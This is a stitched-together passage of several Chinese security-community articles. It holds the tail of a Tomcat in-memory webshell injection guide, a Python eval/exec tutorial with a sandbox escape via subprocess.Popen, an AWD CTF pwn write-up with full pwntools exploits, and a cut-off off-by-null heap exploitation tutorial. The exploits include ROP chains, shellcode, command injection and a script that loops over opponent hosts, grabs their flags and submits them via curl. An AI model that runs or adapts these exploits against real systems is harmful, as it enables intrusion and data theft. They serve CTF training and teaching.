cd usr/local/tomcat9/bin
# 解压commons-daemon-native.tar.gz
tar zxvf commons-daemon-native.tar.gz
cd commons-daemon-1.2.2-native-src/unix/
# 使java配置生效
source /etc/profile
# 编译
./configure
make
# make后，会在当前文件夹下生成一个名为 jsvc 的文件，将其复制到$CATALINA_HOME/bin目录
cp ../..
# 添加一个用来运行Tomcat的用户
sudo adduser tomcat（根据提示设置密码）
# 回到$CATALINA_HOME/bin目录下
cd ../../
# 设置$CATALINE_HOME文件夹及其所有子文件Owner为tomcat
sudo chown -R tomcat:tomcat /usr/local/tomcat9
# 认证tomcat用户
su tomcat
# 启动tomcat
./daemon.sh start
访问127.0.0.1:8080，页面如下：
### 3\. 使用memShell工程文件对tomcat进行内存注入
将memShell文件上传到tomcat服务器文件夹任意位置，然后执行命令
`java -jar inject.jar pppd`
执行成功后，在url后加上`anyurl?pass_the_word=pppd`，即得到帮助信息：
执行whoami获取用户名：
其他功能参考帮助信息。
## 后记
本文主要以Java+tomcat为例进行了tomcat进程注入技术复现，该工程仅对内存webshell进行了技术实现，此外还可以通过修改源代码来实现其它功能，同时对于其他容器如JBOSS和WebLogic，只是“定位关键类”那一步稍有不同，其他环节都是一般化的工作，理论上也可以实现类似功能。
## Reference
[利用“进程注入”实现无文件复活 WebShell](https://www.cnblogs.com/h2zZhou/p/9114743.html)
[Ubuntu下配置Tomcat以指定（非root）身份运行](https://blog.csdn.net/geekdonie/article/details/24896363) | 社区文章 |
在Python中一些函数存在着任意代码执行的隐患，错误的使用这些方法将会导致漏洞的产生，攻击者可能会利用这些安全隐患进行攻击。
文中的知识点并非新知识，但我会围绕着基础点比较细致的分析漏洞的成因、防范以及绕过，希望对大家有帮助
# **第一组**
首先介绍下python中常见的存在任意代码执行隐患的方法：eval与exec
## 简介
在python中，eval和exec的用法极其相似。eval和exec都可以将传入的字符串执行，但两者又有不同之处：
### eval
eval是一个python内置函数，语法为eval( _expression_ , _globals=None_ , _locals=None_ )
eval函数接收三个参数：其中 expression
参数是用做运算的字符串类型表达式；globals参数用于指定运行时的全局命名空间；Locals参数用于指定运行时的局部命名空间。globals与
locals 是可选参数，默认值是 None，他们只在运算时起作用，运算后则销毁。
### exec
在Python2中exec是一个内置语句(statement)而不是一个函数，但是到了Python3中exec将Python2中作为内置语句的exec和execfile()函数功能整合到一起，成为了一个新的函数，语法为exec(
_object_ [, _globals_ [, _locals_ ]])
exec的第一个参数可以是code object，因此它可以执行复杂的代码逻辑，例如变量赋值操作等，这一点是eval做不到的。但exec返回值永远为
None，因此exec不能像eval一样将计算结果返回。exec的后两个参数与eval一致
关于二者的区别，可以见下面的几组代码
1、eval与exec在执行 python语句上的不同
Exec可以对变量a进行赋值操作
Eval并不能对变量a进行赋值
Exec可以执行python语句”import os”
eval不能直接执行python语句”import os”；eval可以执行表达式" **import** ('os')"并返回计算结果
2、eval与exec在返回值上的不同
eval在对表达式进行计算后，返回计算结果
exec并无返回结果
虽然eval与exec存在着种种区别，但是他们都会将传入的第一个参数执行，这将有着潜在的任意代码执行隐患
## 存在的安全隐患
在使用eval和exec时存在的安全隐患是极其相似的，因此下文代码中使用eval进行举例
下图的代码addition方法使用eval对传入参数进行处理
Addition方法会将传入的a与b参数拼接"a+b"字符串并通过eval计算
当a传入的参数为" **import** ('os').system('whoami')"时,如下图：
Eval执行的表达式为" **import** ('os').system('whoami')+2"
这将执行系统命令”whoami”并最终返回2
这里有一个细节，为什么eval计算结果为2呢？
因为 **import** ('os').system('whoami')结果为0，如下图
因此eval最终计算的表达式为"0+2"
当然，在实际情况中，可以使用”#”将后续内容进行注释，通过传入" **import** ('os').system('whoami')#"
最终eval需要执行的表达式为” **import** ('os').system('whoami') # +2”
由于最终相当于执行了"0 #+2"，所以返回值为0
## 防范
从上述案例中可以发现，在通常情况下，只要传递给eval/exec中的变量可控，就存在执行系统命令的问题
针对以上例子 eval(" **import** ('os').system('whoami')")问题时，存在一种常见的限制方法：即指定 eval
的globals参数为 {' **builtins** ': None} 或者 {' **builtins** ': {}}这样的形式
上文只是简单的介绍了eval/exec中globals这个参数，接下来详细说明下为什么将eval
/exec中globals参数设置为 {' **builtins** ': None} 或者 {' **builtins** ':
{}}这样的形式就可以避免任意代码执行的隐患
在eval 与exec中，globals参数用于指定运行时的全局命名空间，如果globals没有被提供，则使用python的全局命名空间。
举个简单的例子如下：
当globals参数没有被提供时，如下图：
当globals参数没有被提供时，eval使用python的全局命名空间。这里的a为1，eval结果为2
当globals参数被提供即globals为{‘a’:2}时，这时候eval的作用域就是{‘a’:2}字典所指定，这里的a为1，eval结果为2
当globals被指定时，eval只使用globals参数所提供的字典里的数据，并不使用模块中的全局命名空间，见下图
即使我们定义了模块全局命名空间中b变量为2，但在由于eval使用globals参数指定全局命名空间为{'a':2}里没有声明变量b，因此程序报出”name
'b' is not defined”的错误
接下来要介绍一下 **builtins** 模块
**builtins**
模块提供对Python的所有“内建”标识符的直接访问的功能。Python解释器在启动的时候会首先加载内建名称空间并自动导入所对应的内建函数。
由于 **builtins** 的存在，使得在Python可以直接使用一些内建函数而不用显式的导入它们，例如input()、list()、
**import** 等
加载 **builtins** 自动导入的内建函数列表如下
我们可以在python中直接使用上图中的这些内建函数而不需要导入
回到eval/exec问题中：值得注意的是，在eval/exec中，如果globals参数被提供，但是没有提供自定义的 **builtins**
，那么eval/exec会将当前环境中的 **builtins** 拷贝到自己提供的globals里，例子见下图：
由于没有自定义 **builtins** ，因此使用当前环境中的 **builtins** ，而当前环境中的 **builtins** 的函数列表中存在
**import** ，因此可以直接使用 **import**
但是如果globals参数中使用了自定义的 **builtins** ，eval/exec则使用globals所指定的 **builtins** ，例如下图
上图指定globals为{' **builtins** ':{'list':list}}，因此在此eval中可以使用list内置函数，但是由于没有指定
**import** ,所以使用 **import** 时报错
exec同样如此，如下图
指定globals为{' **builtins** ':{'list':list}}，使用 **import** 时报错
因此可以通过指定globals参数，来控制eval运行执行的内置函数。这个方法看起来很有效的限制eval/exec对 **import**
等内置函数的使用，似乎可以防止任意代码执行。但是此方法仍然存在绕过
### 绕过
在上述防范中，通过globals参数对 **builtins** 中的内置函数范围进行限制，使得eval/exec无法随意使用” **import**
”等内置函数来达成阻止任意代码执行
但是却存在着如下的绕过：
(1,2). **class**. **bases** [0]. **subclasses** ()
这里解释一下上面这串代码的含义
"(1,2)"是一个元组
**class** 是用来查看对象所在的类
很显然”(1,2)”元组对象所对应的类是tuple
**bases** 属性返回所有直接父类所组成的元组。
如上图可见tuple类的直接父类是object类
**subclasses** 用来获取类的所有子类
因为(1,2). **class**. **bases** [0]已经是object类了，而object类子类众多，因此可以使用的类就比较丰富了
举个例子，如下图
上图红框中，也就是(1,2). **class**. **bases** [0]. **subclasses** ()[7],对应的类是list
因此可以通过(1,2). **class**. **bases** [0]. **subclasses** ()[7]来使用list对数据进行处理，如下图
如上图所示，通(1,2). **class**. **bases** [0]. **subclasses**
()[7]((1,2))将元组(1,2)转换成数组[1,2]
在明白了原理之后可以发现，除了使用(1,2). **class**. **bases** [0]. **subclasses**
()[7]((1,2))之外，还可以使用(). **class**. **bases** [0]. **subclasses**
()[7]((1,2))或[]. **class**. **bases** [0]. **subclasses** ()[7]((1,2))或"".
**class**. **bases** [0]. **bases** [0]. **subclasses** ()[7]((1,2))等等
在上例中，由于str类的直接父类是basestring，basestring的直接父类才是object，而因此上述例子中需要使用"". **class**.
**bases** [0]. **bases** [0]. **subclasses** ()[7]((1,2))
但构造利用链的核心方法就是：只要追溯到object类并使用 **subclasses** ()使用object类的子类即可
我们查看下object的子类，找一找有没有能执行系统命令的
上图红框里有一个subprocess.Popen，很显然，我们可以通过这个来执行系统命令
利用链如下
(). **class**. **bases** [0]. **subclasses** ()[176](“whoami”)
这里的176是subprocess.Popen在object子类列表中的下标值
实际效果如下图
可见,虽然限制只允许使用list,但是我们仍然可以执行系统命令
因此，简单的使用{' **builtins** ': None}是无法满足eval的安全需求的
实际上，可以使用ast.literal_eval()来代替eval()
ast.literal_eval()允许传入的内容如下
strings, bytes, numbers, tuples, lists, dicts, sets, booleans, None
当不合法的字符传入时，程序则会报错，如下图
使用ast.literal_eval()代替eval和exec，可以有效的防止任意代码执行漏洞
# 写在最后
由于篇幅有限，这里先介绍第一组，后续文章会介绍其他有潜在安全隐患的函数。 | 社区文章 |
# 2021年首届鹤城杯线下赛AWD-PWN Writeup
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## tools
题目环境：ubuntu16:04
题目信息：
❯ file tools
tools: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=3b786167921bb6dab6e69de7e5f074391f208825, stripped
root@Radish /Desktop/pwn
❯ checksec --file=./tools
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 4 ./tools
### 漏洞一
题目给了一个后门选项`666`，在`backdoor`函数中，在读入`Username`时，由于读入过长产生变量覆盖，可以覆盖到栈上的文件名，因此直接覆盖成flag的地址即可获取flag
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v3; // eax
sub_400AA5(a1, a2, a3);
sub_400BC4();
sub_401515();
while ( 1 )
{
while ( 1 )
{
write(1, "CMD>> ", 6uLL);
v3 = sub_400B87();
if ( v3 == 2 )
sub_4013FB();
if ( v3 > 2 )
break;
if ( v3 != 1 )
goto LABEL_13;
sub_400D77();
}
if ( v3 == 3 )
return 0LL;
if ( v3 == 666 )
backdoor();
LABEL_13:
puts("Invalid CMD");
}
}
void __noreturn backdoor()
{
char v0; // [rsp+0h] [rbp-80h]
__int64 v1; // [rsp+10h] [rbp-70h]
char v2[88]; // [rsp+20h] [rbp-60h]
int fd; // [rsp+78h] [rbp-8h]
int i; // [rsp+7Ch] [rbp-4h]
puts("If you want to renew the software, please enter your serial number on the official website!");
puts("Now, enter your username and the software will generate a serial number for you~");
strcpy((char *)&v1, "/dev/urandom");
printf("UserName: ");
sub_400B01(&v0, 32LL);
fd = open((const char *)&v1, 0);
read(fd, v2, 0x50uLL);
close(fd);
printf("%s's SerialNumber: ", &v0);
for ( i = 0; i <= 79; ++i )
printf("%02x", (unsigned __int8)v2[i]);
puts(&byte_401C6A);
exit(1);
}
exp_1：
#coding:utf-8
from pwn import *
# context.log_level='debug'
AUTHOR="萝卜啊啊啊啊啊啊"
debug = 1
file_name = './tools'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
ip = ''
prot = ''
if debug:
r = process(file_name)
libc = ELF(libc_name)
else:
r = remote(ip,int(prot))
libc = ELF(libc_name)
def debug():
gdb.attach(r)
raw_input()
file = ELF(file_name)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda : r.interactive()
index = 0
for x in range(15):
try:
ip = "172.35.{}.12".format(x+1)
prot = '9999'
# print ip
r = remote(ip,int(prot))
ru("CMD>> ")
sl("666")
ru("UserName: ")
payload = "a"*0x10+"/home/xctf/flag"
sl(payload)
rud("'s SerialNumber: ")
data = rud("\n")
flag = data.decode("hex")[:60]
print flag
# submit_flag(flag)
payload = "curl http://192.168.20.100/api/v1/att_def/web/submit_flag/?event_id=6 -d \"flag={}&token=2uvsXchvDtj2VwMUESDfuEAjMBkKYVEKDmtDDrX44fTYG\"".format(flag)
os.system(payload)
index+=1
except:
print ip
r.close()
print "本轮共拿到"+str(index)+"个队伍的flag"
### 漏洞二
选项二实现了一个计算器的功能，在进入计算器功能前，用户可以进行输入用户名，代码如下所示：
__int64 sub_401320()
{
__int64 result; // rax
char s; // [rsp+0h] [rbp-30h]
char v2; // [rsp+20h] [rbp-10h]
int v3; // [rsp+24h] [rbp-Ch]
__int64 v4; // [rsp+28h] [rbp-8h]
v4 = sub_400F47();
printf("UserName: ");
sub_400B01(byte_6030A0, 0x48LL);
v3 = snprintf(&s, 0x20uLL, "%s's calculator ^_^", byte_6030A0);// 栈溢出
printf("CalcName: %s\n", &s);
puts("Do you like the CalcName automatically generated by the system? [Y/N]");
sub_400B01(&v2, 2LL);
if ( v2 == 'N' )
{
printf("New CalcName: ");
sub_400B01(&s, v3);
}
sub_4011F8();
result = sub_400FD0();
if ( result != v4 )
exit(-1);
return result;
}
`sub_400B01(byte_6030A0,
0x48LL);`读入字符串后，又调用了`snprintf`函数对输入的字符串进行拼接，官方解释如下所示，返回值是欲写入的字符串长度。
在第一次读入用户名之后还有一次读入的机会，而第二次读入的长度是我们可控的，可以造成栈溢出。
棘手的是，虽然程序没有开启Canary保护，但是程序中自己实现了canary保护的机制，canary经过调试发现是存在堆块上的。
现在需要来绕过canary的限制，接着进入到计算器的功能中，有加减乘除四个选项，每次计算之后都可以存储到堆上的一个位置。
这个位置是在canary之前的，而每次计算的值存到堆上的地址时依次增加的，所以我们如果计算多次的话，就可以覆盖到堆块上存储的canary。原理如下图所示：
在第二次输入Username的时候，就把canary设置成和覆盖的一样，就可以绕过canary的保护了，进而栈溢出拿flag即可。
exp_2：
#coding:utf-8
from pwn import *
context.log_level='debug'
AUTHOR="萝卜啊啊啊啊啊啊"
debug = 1
file_name = './tools'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
ip = ''
prot = ''
if debug:
r = process(file_name)
libc = ELF(libc_name)
else:
r = remote(ip,int(prot))
libc = ELF(libc_name)
def debug():
gdb.attach(r)
raw_input()
file = ELF(file_name)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda : r.interactive()
def exp_sub(num1,num2,sign):
ru("CMD>> ")
sl("2")
ru("Num1: ")
sl(str(num1))
ru("Num2: ")
sl(str(num2))
ru("Save? [Y/N]")
sl(sign)
start = 0x400990
puts_plt = file.plt['puts']
puts_got = file.got['puts']
p_rdi = 0x0000000000401643# : pop rdi ; ret
pp_rsi = 0x0000000000401641# : pop rsi ; pop r15 ; ret
flag_str = 0x6030d4#/home/xctf/flag
readflag_addr = 0x40148E
ru("CMD>> ")
sl("2")
ru("UserName: ")
sd("a"*0x38+"/home/xctf/flag\x00")
ru("Do you like the CalcName automatically generated by the system? [Y/N]")
sl("N")
ru("New CalcName: ")
canary = 0x0000000000000001
sl("/home/xctf/flag\x00"+"a"*0x18+p64(canary)+p64(1)+p64(p_rdi)+p64(puts_got)+p64(puts_plt)+p64(start))
debug()
for x in range(35):
exp_sub(2,1,"Y")
# debug()
ru("CMD>> ")
sl("5")
libc_base = u64(r.recv(6)+"\x00\x00")-libc.symbols['puts']
li("libc_base",libc_base)
binsh = 0x000000000018ce17+libc_base
system = libc_base+libc.symbols['system']
#再次栈溢出进行读flag
ru("CMD>> ")
sl("2")
ru("UserName: ")
sd("a"*0x34+"cat /home/xctf/flag\x00")
ru("Do you like the CalcName automatically generated by the system? [Y/N]")
sl("N")
ru("New CalcName: ")
canary = 0x0000000000000001
sl("/home/xctf/flag\x00"+"a"*0x18+p64(canary)+p64(1)+p64(p_rdi)+p64(flag_str)+p64(system))
# debug()
for x in range(35):
exp_sub(2,1,"Y")
# debug()
ru("CMD>> ")
sl("5")
ri()
> 比赛时抓到其他队伍的攻击流量，是通过orw来进行读取flag。
## babyhouse
题目环境：ubuntu18:04
题目信息：
radish ➜ pwn2 file babyhouse
babyhouse: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=9a83b6747a475098e28a86c818257ca9688437ec, stripped
radish ➜ pwn2 checksec --file=./babyhouse
[*] '/media/psf/Home/Desktop/pwn/pwn2/babyhouse'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
radish ➜ pwn2
本道题目漏洞有点多。首先题目提供了5个功能，分别是`ls、cat、sh、zip、print`
### 漏洞一
在ls功能中，程序用`ls`来拼接输入的字符，代码如下图所示：
对于输入没有进行过滤，直接传入到system函数执行，导致可以执行任意命令
exp_1:
from pwn import *
# context.log_level='debug'
file_name = './babyhouse'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
r = process(file_name)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda : r.interactive()
ru("> ")
sl("ls")
ru("Dir: ")
# debug()
sl("/;cat /home/xctf/flag\x00")
ri()
### 漏洞二
在`ls`功能中，输入命令的时候，输入长度过长导致栈溢出，因为程序开启了PIE，所以要配合`print`功能中的格式化字符串漏洞来泄露地址
exp_2:
from pwn import *
context.log_level='debug'
file_name = './babyhouse'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
libc = ELF(libc_name)
r = process(file_name)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda : r.interactive()
def debug():
gdb.attach(r)
raw_input()
ru(">")
sl("print")
ru("Content: ")
sl("%21$p")
libc_base = eval(rud(">"))-0x21b97
li("libc_base",libc_base)
p_rdi = libc_base + 0x000000000002155f# : pop rdi ; ret
system = libc_base+libc.symbols['system']
binsh = 0x00000000001b40fa+libc_base
one_gg = 0x4f365 + libc_base
li("system",system)
li("binsh",binsh)
# ru(">")
sl("print")
ru("Content: ")
sl("%9$p")
elf_base = eval(rud(">"))-0x2262
li("elf_base",elf_base)
flag_addr = 0x205370 + elf_base
p_rdi = libc_base + 0x000000000002155f# : pop rdi ; ret
p_rsi = libc_base + 0x0000000000023e8a# : pop rsi ; ret
p_rdx = libc_base + 0x0000000000001b96# : pop rdx ; ret
open_addr = libc_base + libc.symbols['open']
read_addr = libc_base + libc.symbols['read']
write_addr = libc_base + libc.symbols['write']
start_addr = elf_base + 0x01FC0
payload = "/\x00"+"a"*(0xd+6)+p64(p_rdi)+p64(0)+p64(p_rsi)+p64(flag_addr)+p64(p_rdx)+p64(0x10)+p64(read_addr)+p64(start_addr)
# debug()
sl("ls")
ru(" Dir: ")
sl(payload)
sd("/home/xctf/flag\x00")
li("p_rdi",p_rdi)
payload_2 = "/\x00"+"a"*(0xd+6)+p64(p_rdi)+p64(flag_addr)+p64(p_rdx)+p64(0)+p64(open_addr)+p64(start_addr)
sl("ls")
ru(" Dir: ")
sl(payload_2)
payload_3 = "/\x00"+"a"*(0xd+6)+p64(p_rdi)+p64(3)+p64(p_rsi)+p64(flag_addr)+p64(p_rdx)+p64(0x50)+p64(read_addr)+p64(start_addr)
sl("ls")
ru(" Dir: ")
sl(payload_3)
# debug()
payload_4 = "/\x00"+"a"*(0xd+6)+p64(p_rdi)+p64(1)+p64(p_rsi)+p64(flag_addr)+p64(p_rdx)+p64(0x50)+p64(write_addr)+p64(start_addr)
sl("ls")
ru(" Dir: ")
sl(payload_4)
ri()
### 漏洞三
在`sh`功能中直接是将用户输入当做命令执行。
exp_3:
from pwn import *
context.log_level='debug'
file_name = './babyhouse'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
libc = ELF(libc_name)
r = process(file_name)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda : r.interactive()
ru(">")
sl("sh")
ru("Command: ")
sl("sh")
sl("cat /home/xctf/flag\x00")
ri()
### 漏洞四
`zip`功能中，如果我们输入的字符串的ascii码相加是”0xa”的倍数的话，程序就可以把我们的输入作为代码来执行，导致可以执行shellcode。
from pwn import *
context.log_level='debug'
context.arch = 'amd64'
file_name = './babyhouse'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
libc = ELF(libc_name)
r = process(file_name)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda : r.interactive()
def debug():
gdb.attach(r)
raw_input()
ru(">")
sl("zip")
# debug()
ru("Content to zip: ")
shellcode = asm(shellcraft.sh())+"\x90\x90"+"\x05"
sum = 0
for x in range(len(shellcode)):
sum += ord(shellcode[x])
# print sum
sl(shellcode)
sl("cat /home/xctf/flag\x00")
ri()
## 总结
1、本次提供靶机连接方式是通过`id_rsa`文件来登录靶机，`id_rsa、id_rsa.pub`文件的属性需要是`600`，连接命令：`ssh -i
./id_rsa [[email protected]](mailto:[email protected]).11`
2、在AWD中，Pwn流量审计也是很重要的。由于这次试用的是XCTF的平台，提供了Pwn的攻击流量，所以在比赛中自己也通过流量拿到过某个攻击链。然后把流量中的数据修改成脚本，直接开打。
3、Patch还是要谨慎的，不然会判宕机。一方面是要确定漏洞修复之后不能再利用此漏洞进行攻击，另一方面修复之后不影响程序其他功能和程序的正常运行。为了更好的避免被平台判宕机，可以通过流量找到check机器发出check程序是否正常的流量，根据这些数据来进行修补会好很多。
## 附件
[附件下载地址](https://github.com/wxm-radish/CTF-challenge-file/blob/main/%E9%B9%A4%E5%9F%8E%E6%9D%AF%E7%BA%BF%E4%B8%8B%E8%B5%9BPWN%E9%99%84%E4%BB%B6.zip) | 社区文章 |
# 堆进阶之仅含off by null的利用
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 特征标志
* 仅存在 off by null 漏洞
* 不能申请大于 fastbin 的堆块（可以申请也能用这种方法）如果能申请大于 fastbin 的堆块，申请 0x101 覆盖成 0x100 并控制 prev_size ，就能向低地址的堆块合并
* 存在 scanf （或其他将 fastbin 放置到 unsortedbin 的途径）单纯 offbynull 无法在 fastbin 中利用，需要结合 unsortedbin
## 适用glibc版本
无论有无 tcache ，都能适用。
存在 tcache 则需要先将对应 size 填满，才能放入 fastbin 。
## 攻击效果
造成堆重叠（chunk extend），进而控制各类 bin 中的指针，完成 getshell
## 原理
难点在于：fastbin 堆块的 size 长度为 1 个字节（如：0xf0），如果 offbynull 覆盖 prev_inuse 时，会将整个 size
覆盖为 0x00 ，而这会引起报错。
解决思路：
1. 利用 unsortedbin 形成时，会将其所在的前一个（高地址）非 topchunk 的堆块 prev_size 设置为 0
2. 利用 offbynull 修改在 unsortedbin 中的空闲堆块 size ，造成空洞。将 unsortedbin 重新分配出来时，前一个堆块 prev_size=0 的状态被保留
3. 在原来 unsortedbin 的连续空间中，在低地址处构造出 unsortedbin ，释放前一个堆块时会先后合并，重叠部分堆空间
## Demo程序
> 程序有问题，等待完善
>
> Scanf 申请的缓存区问题
#include <stdio.h>
#include <stdlib.h>
char *ptr[16];
void init(){
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
}
int main(int argc,char *argv[]){
// init();
char* protect;
char buf[0x1000];
ptr[0]=malloc(0x18);//用于offbynull
ptr[1]=malloc(0x68);
ptr[2]=malloc(0x68);
ptr[3]=malloc(0x28);
ptr[4]=malloc(0x68);//用于先后合并形成堆重叠
protect=malloc(0x100);//防止与topchunk合并
free(ptr[1]);
free(ptr[2]);
free(ptr[3]);
/* chunk3内伪造header绕过检查 */
*((long int*)ptr[3]+2) = 0x100;//offbynull修改后的size
*((long int*)ptr[3]+3) = 0x10;
/* chunk4的prev_inuse成功被设定为0 */
scanf("%s",buf);//fastbin 2 unsortedbin
/* off bu null，空闲堆块大小从0x110变成0x100 */
*(ptr[0]+0x18)=0x00;
/* 切割0x100，切割完成之后unsortedbin原来堆块没有了 */
ptr[1]=malloc(0x68);
ptr[2]=malloc(0x68);
ptr[3]=malloc(0x18);
/* 布置一个unsortedbin用于向后unlink */
free(ptr[1]);
free(ptr[2]);
scanf("%s",buf);//fastbin 2 unsortedbin
/* 向后unlink，形成堆重叠 */
free(ptr[4]);
scanf("%s",buf);//fastbin 2 unsortedbin
return 0;
}
## 详细过程
1. 如图布置出相邻的堆块：
* chunk0 用于 offbynull ；chunk123 用于修改 chunk4 prev_inuse ；chunk4 用于向后 unlink 形成堆重叠
* 伪造 chunk header ：prev_size 为 offbynull 之后的 size
1. 将 chunk123 释放后进入 fastbin ，然后利用 scanf 将 fastbin 的空闲堆块整理进入 unsortedbin
2. offbynull 修改在 unsortedbin 的堆 size
3. 然后将空闲堆块切分多次取出（因为不能申请大于 fastbin）。当申请 0x20 时，修改的是 fake header 的 prev_inuse 标志位，chunk4 prev_inuse 被保留下来
4. 将 chunk12 重新放回 unsortedbin 后，释放 chunk4 造成向后 unlink ，形成堆重叠
5. 造成重叠后就是常规思路利用
## 相关例题
* [2021国赛华南赛区-iNote]
* （libc-2.27.so）
## 例题详解
#### checksec
保护全开，正常堆题的保护模式基本都是全开
q@ubuntu:~/Desktop$ checksec iNote
[*] '/home/q/Desktop/iNote'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
#### main函数
main函数如下是非常常规的菜单类题目，漏洞点存在于edit函数中，因篇幅关系，下面只放上edit函数代码
void __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 v3[5]; // [rsp+0h] [rbp-28h] BYREF
v3[1] = __readfsqword(0x28u);
my_init();
while ( 1 )
{
puts("1. allocate");
puts("2. edit");
puts("3. show");
puts("4. delete");
puts("5. exit");
__printf_chk(1LL, "Your choice: ");
__isoc99_scanf(&aLd, v3);
switch ( v3[0] )
{
case 1LL:
add();
break;
case 2LL:
edit(); // off by null
break;
case 3LL:
show();
break;
case 4LL:
delete();
break;
case 5LL:
exit(0);
default:
puts("Unknown");
break;
}
}
}
#### edit函数
##### 漏洞代码
在如下部分代码中，当我们对chunk进行编辑完成的时候输入’\n’，程序会将其替换为’”\x00”，从而造成了off by null漏洞的生成
do
{
read(0, v4, 1uLL);
if ( *v4 == '\n' )
{
*v4 = 0;
goto LABEL_8;
}
unsigned __int64 edit()
{
unsigned __int64 v0; // rbx
__int64 ptr; // r12
__int64 size; // rbp
_BYTE *v3; // rbp
_BYTE *v4; // rbx
_BYTE *v5; // rax
__int64 v6; // rax
unsigned __int64 v8; // [rsp+0h] [rbp-28h] BYREF
unsigned __int64 v9; // [rsp+8h] [rbp-20h]
v9 = __readfsqword(0x28u);
__printf_chk(1LL, "Index: ");
__isoc99_scanf(&aLd, &v8);
v0 = v8;
if ( v8 <= 0xF && ptr_list[v8] )
{
__printf_chk(1LL, "Content: ");
ptr = ptr_list[v0];
size = size_list[v0];
if ( size ) // off by null
{
v3 = (_BYTE *)(ptr + size);
v4 = (_BYTE *)ptr_list[v0];
do
{
read(0, v4, 1uLL);
if ( *v4 == '\n' )
{
*v4 = 0;
goto LABEL_8;
}
v5 = v4++;
v6 = (__int64)&v5[-ptr + 1];
}
while ( v4 != v3 );
v4 = (_BYTE *)(ptr + v6);
}
else
{
v4 = (_BYTE *)ptr_list[v0];
}
LABEL_8:
*v4 = 0;
}
return __readfsqword(0x28u) ^ v9;
}
### 思路概述
该题目libc版本为2.27，且仅有off bu null这一个漏洞。
第一步，填充完毕tcache，将构建好的chunk放置于fastbin，再利用scanf输入长字符串触发malloc_consolidate
，将fastbin整理到unsortedbin中，进行libc_base的泄露。
第二步，利用off by null漏洞修改chunk size 的prev_inuse=0，
结合伪造 header 、offbynull 向后unlink制造堆重叠。
第三步，常规攻击打’__free_hook’，传入onegadget去getshell。
#### 第一步实操
##### 1.1
#unsortedbin泄露libc地址
for i in range(8):
add(i,0x78)
add(8,0x58)#后面offbynull构造0x110
add(9,0x20)#后面offbynull构造0x110
for i in list(range(8)):#tcache填充
delete(i)
p.sendlineafter("choice: ",'1'*0x7000)#fastbin 2 unsortedbin 触发malloc_consolidate
for i in list(range(7))[::-1]:
add(i,0x78)
add(7,0x78)
show(7)
#gdb.attach(p)
p.recvuntil("Content: ")
main_arean_208 = u64(p.recv(6).ljust(8,'\x00'))
log.info("main_arean_208:"+hex(main_arean_208))
libc_base = main_arean_208 - 208 - (0x7ffff7dcdc40-0x7ffff79e2000)
log.info("libc_base:"+hex(libc_base))
7号chunk中的内容
pwndbg> x/32gx 0x558c496305d0
0x558c496305d0: 0x0000000000000000 0x0000000000000081
0x558c496305e0: 0x00007f2cb69bcd10 0x00007f2cb69bcd10
0x558c496305f0: 0x0000000000000000 0x0000000000000000
#### 第二步实操
##### 2.1
构造一个0x110的(0x70+0x60+0x30)unsortedbin，同时伪造一个header，用来向前合并造成堆重叠，并利用off by null
修改
0x110的chunk size为0x100
for i in list(range(7)):
delete(i)
delete(7)#0x68
for i in range(7):
add(i,0x58)
for i in list(range(7)):
delete(i)
delete(8)#0x58
for i in list(range(7)):
add(i,0x20)
for i in list(range(7)):
delete(i)
edit(9,"QAQ.QVQ."*2+p64(0x100)+p64(0x10))#伪造一个header，用来向前（低地址）合并造成堆重叠
gdb.attach(p)
delete(9)#0x20
#gdb.attach(p)
p.sendlineafter("choice: ",'1'*0x7000)#fastbin 2 unsortedbin
#gdb.attach(p)
#off by null将0x110覆盖为0x100
add(11,0x78)#head:用于off by null溢出修改size(0x110->0x100)
#gdb.attach(p)
edit(11,'a'*0x78)
